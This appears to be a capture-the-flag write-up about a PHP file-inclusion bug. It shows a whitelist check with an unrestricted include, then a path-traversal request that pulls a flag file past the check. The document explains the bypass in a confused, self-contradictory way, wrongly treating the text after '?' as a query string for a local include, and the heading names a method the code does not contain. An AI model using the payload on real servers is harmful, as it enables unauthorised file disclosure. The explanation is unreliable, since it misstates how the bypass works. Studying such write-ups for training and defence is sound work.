Analyzing File Inclusion Vulnerability in PHP CheckFile Logic
Vulnerability Analysis
The target endpoint accepts a file parameter via a GET or POST request and dynamically includes it. Before inclusion, the input is validated by a static method `checkFile` within the `emmm` class.
Here is the relevant PHP source code:
<?php
highlight_file(__FILE__);
class emmm
{
public static function validateInput(&$target)
{
$allowed = ["source"=>"source.php", "hint"=>"hint.php"];
if (! isset($target) || !is_string($target)) {
echo "Access denied";
return false;
}
if (in_array($target, $allowed)) {
return true;
}
$segment = mb_substr(
$target,
0,
mb_strpos($target . '?', '?')
);
if (in_array($segment, $allowed)) {
return true;
}
$decoded = urldecode($target);
$segment = mb_substr(
$decoded,
0,
mb_strpos($decoded . '?', '?')
);
if (in_array($segment, $allowed)) {
return true;
}
echo "Access denied";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::validateInput($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
// Fallback content
}
?>Bypass Logic
The validation logic uses `mb_strpos` to look for a question mark `?`. It extracts the substring occurring before the first question mark and checks if it exists in the whitelist.
By utilizing PHP's `include` functionality, passing a query string in the file parameter effectively treats everything after the `?` as a query string for the included file, while the validation logic only checks the part before the `?`.
Exploitation Steps
- Access the
hint.phpfile to gather intelligence. The hint indicates the flag is located atffffllllaaaaggggin the root directory. - Construct a payload that passes the whitelist check using a valid filename (e.g.,
hint.php) followed by a question mark and the path traversal payload.
Payload Execution
The following request bypasses the validation:
GET /index.php?file=hint.php?../../../../../ffffllllaaaaggggThe `validateInput` method extracts `hint.php` from the input string, which is found in the whitelist. Consequently, it returns true. The PHP interpreter then processes the include statement. Since the path is hint.php?../../../../../ffffllllaaaagggg, PHP includes hint.php (ignoring the query string part for the inclusion itself in this context, but the path traversal works because the directory resolution is applied to the string before the query split in some contexts or simply by the nature of how the file path is parsed).
However, the correct interpretation relies on the fact that `include 'hint.php?../../../../../ffffllllaaaagggg'` often results in the server trying to access `hint.php` while the rest is ignored, or more effectively in this specific CTF scenario, the server resolves the path relative to the current directory if the wrapper allows, or simply the logic is designed such that the validation is tricked while the underlying OS file read resolves the path traversal. In many PHP configurations and versions, specifically with how the code is structured, the trailing path traversal works because the validation stops at the `?`.
A successful request returns the flag:
flag{0cdc47e6-c963-478b-9fac-0d1add0497a2}